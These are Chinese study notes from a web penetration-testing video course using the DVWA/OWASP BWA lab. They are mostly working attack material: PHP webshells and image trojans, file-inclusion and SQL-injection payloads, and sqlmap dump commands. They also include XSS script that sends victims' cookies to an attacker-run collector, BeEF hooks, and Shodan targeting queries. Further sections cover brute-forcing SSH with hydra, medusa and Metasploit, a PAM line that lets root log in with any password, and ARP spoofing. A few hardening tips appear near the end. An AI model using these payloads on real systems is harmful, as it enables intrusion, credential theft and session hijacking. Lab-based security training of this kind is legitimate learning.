笔记来源B站视频(知识区>野生技术协会) 黑客攻防 从入门到入yu【網絡安全】:https://www.bilibili.com/video/BV1E4411L7zS
正文共: 19124字 155图
预计阅读时间: 48分钟
已经获得作者授权转发
实验靶机:OWASP_BrokenWeb_Apps_VM_1.2 下载地址:https://sourceforge.net/projects/owaspbwa/files/1.2/OWASP_BrokenWeb_Apps_VM_1.2.zip/download
测试渗透机:Kali_Linux 官网下载地址:https://www.kali.org/downloads/
实验一: 低安全模式下,上传任意类型文件,对文件的限制不大
实验二: 中安全模式下,绕过上传文件的类型 开启 BurpSuite ,设置代理地址(攻击机的地址) 修改浏览器代理,用 BurpSuite 实现拦截功能 在被拦截的数据中修改Content-Type的信息,改为 image/JPEG
实验二实现原理:
实验三: 高安全模式,上传一句话图片木马(文件后缀名限制)
上传一句话木马图片(结合下面的 webshell 进行操作) 用工具 edjpgcom 给图片写入木马,执行图片内容生成木马,用中国菜刀连接进行后台操作
在后面章节的 文件包含漏洞 - ->本地文件 + webshell 会提到具体的操作方法
edjpgcom工具链接: 蓝奏云:https://www.lanzoux.com/iJ9cce8fphe
shell2.php
<?php eval($_REQUEST['cmd']);?>
http://10.3.139.173/dvwa/hackable/uploads/shell2.php?cmd=phpinfo();
shell3.php
<?php system($_REQUEST['yangge']);?>
http://10.3.139.173/dvwa/hackable/uploads/shell3php?yangge=cat /etc/passwd
_REQUEST和 _POST的区别
< ?php eval($_REQUEST[‘hello’]);? >(hello可以改) 在地址栏用参数一条一条地操作
http://10.3.139.173/dvwa/hackable/uploads/shell2.php?hello=phpinfo();
< ?php eval($_POST[‘hello’]);? >(hello可以改) 用工具(中国菜刀)连接进行后台操作
中国菜刀官网:http://www.maicaidao.co/ 腾讯哈勃查毒(轻度风险):https://habo.qq.com/
在文件中找到readme.txt,里面有详细使用方法
本地文件包含:LFI 远程文件包含:RFI
老师手绘图
绿色框:正常文件 红色框:上传恶意的本地文件 黄色框:让服务器主动访问恶意的远程文件
本地文件包含
本地文件包含 + webshell
一句话木马脚本
<?fputs(fopen("shell20.php","w"),'<?php eval($_POST[yangge]);?>')?>
edjpgcom工具链接:
蓝奏云:https://www.lanzoux.com/iJ9cce8fphe
天翼:https://cloud.189.cn/t/R7VFjuZRbMJb(访问码:n4d1)
注意:图片不能太大,否则可能运行不了
相对路径
http://192.168.106.134/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/yangge
.jpg
绝对路径
http://192.168.106.134/dvwa/vulnerabilities/fi/?page=/var/www/dvwa/hackable/upload
s/yangge.jpg
远程文件包含 + webshell
建立远程服务器
安装web服务(apache2)
apt-get install apache2
开启web服务
systemctl start apache2
编写脚本文件
vim /var/www/html/yangge.txt
<?fputs(fopen("shell50.php","w"),'<?php eval($_POST[yangge50]);?>')?>
本地文件包含: 和低安全级别操作一样 本地文件包含 + webshell: 和低安全级别操作一样
远程文件包含 + webshell 后台源码用str_replace函数只替换一个http://,改成http:http:////即可
后台源码写死,文件后缀名限制,安全但不灵活
实验靶机:OWASP_BrokenWeb_Apps_VM_1.2 下载地址:https://sourceforge.net/projects/owaspbwa/files/1.2/OWASP_BrokenWeb_Apps_VM_1.2.zip/download
测试渗透机:Kali_Linux 官网下载地址:https://www.kali.org/downloads/
1、登录OWASP 登录OWASP
2、查看数据库
show databases;
查看所有数据库
select database();
查看当前所在的库
use dvwa;
使用dvwa库
3、查看当前库中的表
show tables;
4、查看表结构
desc table;
5、查看表记录
比如select语句
当前库dvwa dvwa .users
mysql> select * from users;
mysql> select user_id,first
其它库 mysql.user
mysql> desc mysql.user;
mysql> select * from mysql.user;
mysql> select user,password,host from mysql.user;
其它库 wordpress .user
mysql> desc wordpress.wp_users;
mysql> select * from wordpress.wp_users;
wysql> select user_login,user_pass from wordpress.wp_users;
mysql> select user,password,host from mysql.user where user='root';
mysqi> select user,password,host from mysql.user where user='root' and host='localhost':
mysql> select user,password,host from mysql.user where user='root' or host='localhost';
mysql> desc dvwa .users;
mysq1> select user_id,first_name,last_name from dvwa.users where first_name='yangge';
mysql> select user_id,first_name,last_name from dvwa.users where first_name='yangge' or 1=1;
mysqi> select user_id,first_name,last_name from dvwa.users where first_name='admin' and 1=2;
mysql> select user_id,first_name,last_name from dvwa.users where user_id=2;
mysql> select user_id,first_name,last_name from dvwa.users where user_id=7;
mysql> select user_id,first_name,last_name from dvwa.users where user_id=7 or 1=1;
联合查询
注:union查询前后字段数必须相同
mysql> select user,password,host from mysql.user union select user_login,user_pass,3 from wordpress.wp_users;
注入语句
mysql> select * from dvwa.users union select user_login,user_pass,1,2,3,4 from wordpress.wp_users;
6、information_schema(元数据)
====查询数据库库名、表名 information_schema.tables===
mysql> select * from information_schema.TABLES\G
mysql> select DISTINCT TABLE_SCHEMA from information_schema.TABLES;
mysql> select TABLE_SCHEMA,TABLE_NAME from information_schema.TABLES\G
mysql> select TABLE_SCHEMA,GROUP_CONCAT(TABLE_NAME) from information_schema.TABLES GROUP BY
TABLE_SCHEMA\G
mysql> select TABLE_NAME from INFORMATION_SCHEMA.tables where TABLE_SCHEMA='dvwa';
===查询数据库库名、表名、字段名 information_schema.columns===
mysql> select * from information_schema.columns\G
mysql> select column_name from INFORMATION_SCHEMA.columns
mysql> select column_name from INFORMATION_SCHEMA.columns where table_schema='dvwa’ and table_name='users'; //相当于desc
mysql> select column_name from INFORMATION_SCHEMA.columns where table_name='USER_PRIVILEGES';
mysql> select column_name from INFORMATION_SCHEMA.columns where table_name='SCHEMA_PRIVILEGES';
目的:试探某位置是否有注入点
语句分析
输入单引号 ’ 报错
select first_name,last_name from dvwa users where user_id='''
注入语句
select first_name,last_name from dvwa users where user_id='' or 1=1
' or 1=1 -- yangge
第一个 '
是为了闭合前面的条件
or 1=1 为真的条件
- - 注释掉后面所有语句
一般可以查到本张表的所有数据
'union select TABLE_SCHEMA, 1 from INFORMATION_SCHEMA.tables -- '
mysql> select first_name,last_name from dvwa.users where user_id=''
union select TABLE_SCHEMA, 1 from INFORMATION_SCHEMA.tables
' union select table_name,1 from INFORMATION_SCHEMA.tables -- ''
mysql> select first_name,last_name from dvwa.users where user_id=''
union select table_name,1 from INFORMATION_SCHEMA.tables
' union select TABLE_SCHEMA, table_name from SINFORMATION_SCHEMA.tables -- ''
mysql> select first_name,last_name from dvwa.users where user_id=''
union select TABLE_SCHEMA, table_name from SINFORMATION_SCHEMA.tables
mysq1> select first_name,last_name from dvwa.users where user_id='$id'
'union select 1, column_name from INFORMATION_SCHEMA.columns where table_name=
"users'
'union select 1, column_name from INFORMATION_SCHEMA.columns where table_name=
'USER PRIVILEGE' --'
'union select 1, column_name from INFORMATION_SCHEMA.columns where table_name=
'SCHEMA_PRIVILEGES' --'
'union select NULL, user from users -- '
'union select NULL, password from users -- '
'union select user, password from users -- '
'union select NULL, GRANTEE from USER_PRIVILEGES -- '
'union select password, concat(first_name,' ',last_name,' ',user) from users --'
输入语句
mysq1> select first_name,last_name from dvwa.users where user_id='
'union select password, concat(first_name,' ',last_name,' ',user) from users
注入语句
可以查到本张表以外的其他表的数据 前提是 第一要知道union前面SQL语句查询的字段数 第二要知道union后面的要查的那张表的字段名
SQL injection (Blind) - 盲注
有些数据库对错误信息做了安全配置,使得不能通过以上方法探测到注入点,此时,通过设置 sleep 语句来探测注入点
1' and sleep(5) -- '
SQL注入语句解析:
mysql> select first_name,last_name from dvwa.users where user_id='1' and sleep(5)
SQ注入比较好用的工具,首推开源工具 SQLmap。SQLmap是个国内外著名的安全稳定性测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的安全稳定性测试的功能选项,包括获取数据库中有的数据,访可操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
SQLmapx-MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2,SQLite, Firebird, Sybase和 SAP MaxDB等数据库的各中安全漏洞检测
sqlmap -hh | less
各行参数自行翻译(本人英语渣渣)
有登陆权限漏洞的靶机 OWASPMutillidae ‖
通过指定参数注入(复制网页链接,再加上参数)
root@kali#sqlmap -u "http://192.168.106.134/mutillidae/index.php?page=user-info.phpsusername=zhuzhuzxia&password=123&user-info-php-submit-button=View+Account+Details" --batch -p username
获取所有数据库
root@kali:#sqlmap -u "http://192.168.106.134/mutillidae/index.php?page=user-info.php susername=zhuzhuzxia&password=123&user-info-php-submit-button=View+Account+Details" --dbs
获取所有用户
root@kali:#sqlmap -u "http://192.168.106.134/mutillidae/index.php?page=user-info.phpsusername=zhuzhuzxia&password=123&user-info-php-submit-button=View+Account+Details" --users
获取当前用户
root@kali:#sqlmap -u "http://192.168.106.134/mutillidae/index.php?page=user-info.phpsusername=zhuzhuzxia&password=123&user-info-php-submit-button=View+Account+Details" --current-user
--users //获取全部用户
--current-user //获取当前用户
--dbs //获取全部数据库
--current-db //获取当前数据库
-D "database_name" --tables
-D "database_name" -T "table_name" --colun
--dump-all //整个数据库全部dump(拿)下来
--dump-all --exclude-sysdbs //排除系统库
-D "database_name" -T "table_name" --dump
-D "database_name" -T "table_name" -C "username, password" --dump
--batch //自动化完成![在这里插入图片描述](https://img-blog.csdnimg.cn/2020
0620142056130.png)
演示步骤:
需要带cookie才能访问注入的页面, – cookie=""
root@kall:~# sqlmap -u "http://192.168.106.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="换成自己的" --batch
多个 cookie 用 ; 分开 cookie 的内容 – > PHPSESSID = ID(主意,要用 =,而不是 :)
演示步骤(和GET差不多):
提权操作:--sql-shell
获取sql权限后(操作数据库):
sql-shell:select * from users;
一般针对搜索框
主要用到这两条命令
<script src="http://BeEF_IP:3000/hook.js"></script>
<img src="http://BeEF_IP:3000/hook.js"></img>
低安全级别
可以直接发送代码段(XSS reilected 和 XSS stored 都行)
弹框警告:
<script>alert('yangge')</script>
<script>alert(document.cookie)</script>
页面重定向:
<script>location.href="http://www.baidu.com"</script>
手工XSS
存储型XSS(持久型XSS)即攻击者将带有XSS攻击的链接放在网页的某个页面,例如评论框等; 用户访问此XSS链接并执行,由于存储型XSS能够攻击所有访问此页面的用户,所以危害非常大。
手工【低】
攻击1 弹框告警∶ 渗透机 kali Linux 端操作
text1
<script>alert('yangge')</script>
攻击2 获取cookie: 渗透机 Kali Linux端操作
1. 构建收集cookie服务器
2. 构造XSS代码并植入到Neb服务器
3. 等待肉鸡触发xSS代码并将cookie发送到Kali
4.Cookie利用
获取用户 cookie
在 kali 打开 apache 服务
systemctl start apache2
新建一个存放cookie的php文件
vim /var/www/html/cookie_rec.php
写入内容:
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt","a");
fwrite($log, $cookie . "\n");
fclose($log);
?>
给目录权限
chown -R www-data.www-data /var/www/
通过渗透机植入XSS代码:
<script>window.open('http://192.168.106.176/cookie_rec.php?cookie='+document.coo
kie)</script>
注:192.168.106.176 为kali Linux IP(换成自己的)
注:先清除之前植入的XSS代码
再用另外一台电脑访问该网站,就可以在 /var/www/html/cookie.txt 文件中看到已经获取到cookie
Browser Exploitation Framework (BeEF) BeEF是目前最强大的浏览器开源渗透测试框架,通过XSS漏洞配合JS脚本和Metasploit进行渗透; BeEF是基于Ruby语言编写的,并且支持图形化界面,操作简单; http://beefproject.com/
信息收集: 1.网络发现 2.主机信息 3.Cookie获取 4.会话劫持 5.键盘记录 6.插件信息
持久化控制: 信息收集: 1.网络发现 2.主机信息 3.Cookie获取 4.会话劫持 5.键盘记录 6.插件信息
持久化控制: 1确认弹框 2.小窗口 3.中间人
社会工程: 1.点击劫持 2.弹窗告警 3.虚假页面 4.钓鱼页面
启动Apache和BeEF:
service apache2 start
注:先清除之前植入的XSS代码
在浏览器登录beef:http://127.0.0.1:3000/ui/panel (127.0.0.1 换成自己IP) 登录账号:beef 登录密码:beef
命令颜色(Color): 绿色 对目标主机生效并且不可见(不会被发现) 橙色 对目标主机生效但可能可见(可能被发现) 灰色 对目标主机未必生效(可验证下) 红色 对目标主机不生效
反射型 - - 》非持久化 储存型 - - 》持久化
搜索引擎: Google Hacking(谷歌) Shodan Hacking(撒旦) Zoomeye Hacking(钟馗之眼 - 撒旦国内版)
信息收集概述
项目实验环境
不同的搜索行为 1、site
2、filetype
3、inurl
4、intitle
5、intext
实例
符号
参考 搜索:测验分数(test scores)但不是SAT入学分数的文章:
搜索:一份关于常见燕子飞行速度的专业报告
搜索:Dr.Ronald L.Green和Dr. Thomas P.Buttz.所写的关于光合作用(photosynthesis)的记文:
https://www.shodan.io Shodan(撒旦搜索引擎)是由Web工程师John Matherly(马瑟利)编写的,被称为“最可怕的搜索引擎”,可扫描一切联网的设备,除了常见的web服务器;还能扫描防火墙、路由器、交换机、摄像头、打印机等一切联网设备
ip 114.114.114.114
service/protocol
keyword 基于关键词搜索的思路是根据banner信息(设备指纹)来搜索 “default password” country:“TH” FTP anon successful
country country:cn country:us country:jp
product product:“Microsoft IIS httpd” product:“nginx” product:“Apache httpd” product:MySQL
version product:MySQL version:“5.1.73” product:“Microsoft IIS httpd” version:“7.5”
hostname hostname: org hostname: edu
OS os:“Windows Server 2008 R2” os:“Windows 7 or 8” os:“Linux 2.6.x”
net net net:110.180.13.0/24 200 ok net:110,180.13.0/24 200 ok country: JP net:110.180.13.0/24
port port: 3389 port: 445 port: 22 port: 80 port: 443
综合示例
搜索日本区开启80端口的设备:
country:jp port:"80"
country:jp port:"80" product:"Apache httpd"
country:jp port:"80" product:"Apache httpd" city:"Tokyo"
country:jp port:"80" product:"Apache httpd" city:"Tokyo" os:"Linux 3.x"
搜索日本区使用Linux2.6.x系统的设备:
country:jp os:"Linux 2.6.x"
country:jp os:"Linux 2.6.x" port:"80"
country:jp os:"Linux 2.6.x" port:"80" product:"Apache httpd"
搜索日本区使用windows Server 系统的设备:
country:jp os:"Windwws Server 2008 R2"
country:jp os:"Windows Server 2003" port:"445"
country:jp os:"Nindows Server 2003" port:"80"
授索日本区使用Microsoft IIS的设备:
country:jp product:"Microsoft IIS httpd" version:"7.5"
概述 https://www.zoomeye.org
用户手册(shift+/):https://www.zoomeye.org/help 自己去玩玩。。。
nmap简介 Nmap是安全渗透领域最强大的开源端口扫描器,能跨平台支持运行。 Nmap官网:https://nmap.org/ Nmap的帮助文档:https://nmap.org/book/man.html 其他安全工具:http://sectools.org/
扫描示例
主机发现:nmap -sn 192.168.106/24
端口扫描:nmap -sS -p1-1000 192.168.106.134
(-sS原理,给对方发一个SYN握手包,若对方回一个SYN/ACK,则开启了探测端口;若回一个RESE
T/ACK,则没有开启探测端口)
系统扫描:nmap -O 192.168.106.134
版本扫描:nmap -sV 192.168.106.134
综合扫描:nmap -A 192.168.106.134
脚本扫描:
root@kali:/usr/share/nmap/scripts#
nmap --script=default 192.168.106.134
nmap --script=auth 192.168.106.214
nmap --script=brute 192.168.106.134
nmap --script=vuln 192.168.106.134
nmap --script=broadcast 192.168.106.134
nmap --script=smb-brute.nse 192.168.106.134
nmap --script=smb-check-vulns.nse --script-args=unsafe=1 192.168.106.134
nmap --script=smb-vuln-conficker.nse --script-args=unsafe=1 192.168.106.134
nmap -p3306 --script=mysql-empty-password.nse 192.168.106.134
Intense scan(强烈扫描):
nmap -T4 -A -v 192.168.106.1
-T 设置速度等级,1到5级,数字越大,速度越快
-A 综合扫描
-v 输出扫描过程
Intense scan plus UDP:
nmap -sS -sU -T4 -A -v 192.168.106.134
-sS TCP全连接扫描
-sU UDP扫描
Intense scan, all TCP ports:
nmap -p 1-65535 -T4 -A -v 192.168.106.134
-p 指定端口范围,默认扫描1000个端口
intense scan no ping:
nmap -T4 -A -v -Pn 192.168.106.0/24
-Pn 不做ping扫描,例如针对防火墙等安全产品
ping scan:
nmap -sn 192.168.106.0/24
nmap -sn -T4 -v 192.168.106.0/24
-sn 只做ping扫描,不做端口扫描
quick scan:
nmap -T4 -F 192.168.106.134
-F fast模式,只扫描常见服务端口,比默认端口(1000个)还少
Quick scan plus:
nmap -sV -T4 -O -F --version-light 192.168.106.134
-sV 扫描系统和服务版本
-O 扫描操作系统版本
Quick traceroute:
nmap -sn --traceroute www.qfedu.com
- -traceroute 追踪经过的路由站
Regular scan:
nmap www.qfedu.com
标准扫描
Slow comprehensive scan:
nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53--script "default or (discovery and safe)" www.baidu.com
全面扫描(慢)
信息扫描工具
http://www.openvas .org/ http://www.greenbone.net/
部署OpenVAS
升级Kali Linux
root@kali:~# apt-get update
rootekali:~# apt-get dist-upgrade
安装openVAS
root@kali:~# apt-get install openvas
root@kali:~# openvas-setup
修改admin账户密码
root@kali:~# openvasmd --user=admin --new-password=yangge
修改默认监听IP
root@kali:~# vim /lib/systemd/system/greenbone-security-assistant.service
启动OpenVAS
root@kali:~# openvas-start
检查安装:
root@kali:~#ss -tnlp
root@kali:~#openvas-check-setup
登录OpenVAS https://192.168.106.158:9392 #192.168.106.158为 Kali IP地址 端口9392 注:是https
高级 - > 允许访问
新建扫描task
高级扫描task
结果:
IBM@ Security AppScan@ 是一个适合安全专家的Web应用程序和Web服务渗透测试解决方案 国外商业漏扫产品中,少有的能支持中文的漏扫,运行于windows平台; 界面清晰、配置简单丰富的中文和产品文档,详细的漏洞说明和修复建议; 支持丰富的扫描报告,包括安全性、行业标准、合规一次性报告。 https://www.ibm.com/developerworks/cn/downloads/r/appscan/
1.功能及特点
2.项目实验环境
3.AppScan安装 在官网下载到Windows上安装
4.创建扫描
下一步
下一步 - >完成 - > 扫描 - > 保存结果
1.功能以及特点
https://portswigger.net/burp/
Target: 目标模块用于设置扫描域(target scope)、生成站点地图(sitemap)、生成安全分析
Proxy: 代理模块用于拦截浏览器的http会话内容
Spider: 爬虫模块用于自动爬取网站的每个页面内容,并生成完整的网站地图
Scanner: 扫描模块用于自动化检测漏洞,分为主动和被动扫描
Intruder: 入侵(渗透)模块根据上面检测到的可能存在漏洞的链接,调用攻击载荷,对目标链接进行攻击入侵模块的原理是根据访问链接中存在的参数/变量,调用本地词典、攻击载荷,对参数进行渗透测
Repeater: 重放模块用于实现请求重放,通过修改参数进行手工请求回应的调试
Sequencer: 序列器模块用于检测参数的随机性,例如密码或者令牌是否可预测,以此判断关键数据是否可被伪造
Decoder: 解码器模块用于实现对URL、HTML、Base64、ASCII、二/八/十六进制、哈希等编码转换
Comparer 对比模块用于对两次不同的请求和回应进行可视化对比,以此区分不同参数对结果造成的影响
Extender: 拓展模块是burpsuite非常强悍的一个功能,也是它跟其他web安全评估系统最大的差别,通过拓展模块,可以加载自己开发的、或者第三方模块,打造自己的burpsuite功能通过burpsuite提供的API接口,目前可以支持Java、Python、Ruby三种语言的模块编写
Options: 分为Project/User Options,主要对软件进行全局设置
Alerts: 显示软件的使用日志信息
2.项目实验环境
3.Burp Suite安装
启动方法:java -jar -Xmx1024M /burpsuite_path/BuppHe1per.jar
4.Burp Suite使用
代理功能【Proxy】 目标功能【Target】
开启监听端口 浏览器设置代理 代理功能详解 拦截账号信息
查看站点地图
设置过滤器
爬虫功能【Spider】
准备工作: 设置代理获取域名【略】 访问目标网站 设置目标域 拦截功能关闭
爬虫选项
执行爬虫,在站点地图中发送给爬虫
扫描功能【Scanner】
准备工作: 设置代理获取域名【略】 访问目标网站 设置目标域 拦截功能关闭
扫描选项之扫描方式: 主动扫描精准度高时间长影响大消耗资源大 被动扫描精准度低时间短影响小消化资源小
攻击插入点
主动扫描
被动扫描
漏洞扫描
漏洞问题
保存导出问题
使用主动扫描 站点地图中选中主动扫描的网站或分支
打开报告
1、hydra [海德拉]
**海德拉(Hydra):**希腊神话中的九头蛇,是西方的神话生物,在古希腊神话中出现最为频繁。传说它拥有九颗头,其中一颗头要是被斩断,立刻又会生出两颗头来。
hydra是世界顶级密码暴力密码破解工具,支持几所有协议的在线密码破解,功能强大,其密码能否被破解关键取决于破解字典是否足够强大,在网络安全渗透过程中是一款必备的测试工具。
指定用户破解
Examples:
hydra -1 user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults .txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -1 admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh
rootekali:~# hydra -1 root -P pass.dic 192.168.106.134 ssh
用户列表破解
root@kali:~# cat userlist.txt
admin
root
tianyun
yangge
zhuzhuxia
root@kali:~# cat passlist.txt
123
abc,123
root
admin
owaspbwa
yangge
root@kali:~# hydra -L userlist.txt -P passlist.txt -t 20 192.168.106.134 ssh
结果导出到
ssh-hydra.ok
root@kali:~#hydra -L userlist.txt -P passlist.txt -M hosts.txt ssh -o ssh-hydra.ok
2、Medusa [美杜莎] 美杜莎是希腊神话里的一个女妖怪,她的头发是毒蛇,长的青面撩牙,她知道自己丑,她要报复,她把见过她的人都变成了石头。据说她原是一位美丽的少女,之所以变成蛇发女妖因为梅杜莎和智慧女神雅典娜比美,雅典娜一怒之下将美杜莎的头发变成毒蛇,变成面目丑陋的怪物。
Medusa(美杜莎)是一个速度快,支持大规模并行,模块化,爆破登录。可以同时对多个主机,用户或密码执行强力测试。Medusa 和 hydra —样,同样属于在线密码破解工具。不同的是,medusa 的稳定性相较于 hydra 要好很多,但其支持模块要比 hydra 少一些。
语法参数
破解SSH密码
root@kali:~#medusa -M ssh -h 192.168.106.134 -u root -P passlist.txt
root@kali:~#medusa -M ssh -H hostlist.txt -U userlist.txt -P passlist.txt
root@kali:~#medusa -M ssh -h 192.168.106.134 -U userlist.txt -p passlist.txt -F
root@kali:~# medusa -M ssh -H hostlist.txt -U userlist.txt -P passlist.txt -O ssh.log输出到ssh.log
3、patator Patator :强大的命令行暴力破解器
可用模块
破解SSH密码
root@kali:~# patator ssh_login host=192.168.106.134 user=root password=FILE0 0=passlist.txt
root@kali:~# patator ssh_login host=192.168.106.134 user=root password=FILE0 0=passlist.txt -x ignore:mesg='Authentication failed.'
4、BrutesPray
Kali端安装
root@kali:~# apt-get update
root@kali:~# apt-get install brutespray
语法参数
nmap扫描
root@kali:~# nmap -v 192.168.106.0/24 -oX nmap.xml
root@kali:~# nmap -A -p22 -v 192.168.106.0/24 -oX 22.xml
root@kali:~# nmap -sP 192.168.106.0/24 -oX nmaplive.xml
root@kali:~# nmap -sV -O 192.168.106.0/24 -oX nmap.xml
字典爆破SSH
root@kali:~# brutespray --file 22.xml -U userilst.txt -P passlist.txt --threads 5 --hosts 5
爆破成功可以到这个文件下查看
cat /root/brutespray-output/ssh-success.txt
5、MSF
SSH模块
root@kali:~# msfconsole
msf > search ssh
SSH用户枚举(ssh_enumusers)
msf > use auxiliary/scanner/ssh/ssh_enumusers
msf auxiliary(scanner/ssh/ssh_enumusers)> set rhosts 192.168.106.134
msf auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /root/userlist. txt
msf auxiliary(scanner/ssh/ssh_enumusers) > run
SSH版本探测(ssh_version)
msf > use auxiliary/scanner/ssh/ssh_version
msf auxiliary(scanner/ssh/ssh_version) > set rhosts 192.168.106.134
msf auxiliary(scanner/ssh/ssh_version) > run
SSH 暴力破解(ssh_login)
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.106.134
msf auxiliary(scanner/ssh/ssh_login) > set USER_FILE /root/userlist.txt
msf auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /root/passlist.txt
msf auxiliary(scanner/ssh/ssh_login) > run
6、暴力破解防御
1. useradd shell【推荐】
[root@tianyun ~]# useradd yangge -s /sbin/nologin
2. 密码的复杂性【推荐】
字母大小写+数字+特殊字符+20位以上+定期更换
3. 修改默认端口【推荐】
/etc/ssh/sshd_config
Port 22222
4. 限止登录的用户或组【推荐】
#PermitRootLogin yes
AllowUser yangge
[root@tianyun ~]# man sshd_config
AllowUsers AllowGroups DenyUsers DenyGroups
使用sudo【推荐】
5.设置允许的IP访问【可选】
/etc/hosts.allow ,例如sshd:192.168.106.167:allow
PAM基于IP限制
iptables/firewalld
只能允许从堡垒机
6. 使用DenyHosts自动统计,并将其加入到/etc/hosts.deny
7. 基于PAM实现登录限制【推荐】
模块:pam_tally2.so
功能:登录统计
示例:实现防止对sshd暴力破解
[root@tianyun ~]# grep tally2 /etc/pam.d/sshd auth required pam_tally2.so deny=2 even_deny_root root_unlock_time=60 unlock_time=6
8. 禁用密码改用公钥方式认证
/etc/ssh/sshd_config
PasswordAuthentication no
9. 保护xshell导出会话文件【小心】
10.GRUB加密【针对本地破解】
在文件 /etc/pam.d/su
中加入 auth sufficient pam rootok.so
那么只要用 root 用户进行ssh登录,密码随便乱输入也能登陆
中间人攻击也叫ARP 欺骗 、ARP 毒化
kali 攻击工具:Ettercap
ettercap -G
(打开GUI界面)
搜索主机
添加需要毒化的主机
开始毒化
再arp -a
查看网关的 ip地址 对应的 mac地址是否被改变
防御:
linux系统下的配置
设置永久静态MAC地址:
arp -s IP地址 MAC地址
arp -s 192.168.1.22 00-aa-00-62-e5-6c
Windows系统下的配置
设置临时静态MAC地址 :
arp -s IP地址 MAC地址
arp -s 192.168.1.200 00-aa-00-62-c6-09
设置永久静态MAC地址:
DOS界面下,输入命令 netsh ii show in ,查看本地网卡对应的"Idx"值
(netsh i i show in 为 netsh interface ipv4 show interfaces 的缩写)
绑定静态mac地址
netsh -c i i ad ne 14 10.30.162.1 cc-2d-e0-1e-43-99 store=persistent
删除之前绑定的ARP表项
netsh -c "i i" delete neighbors 14
(14为之前的idx值)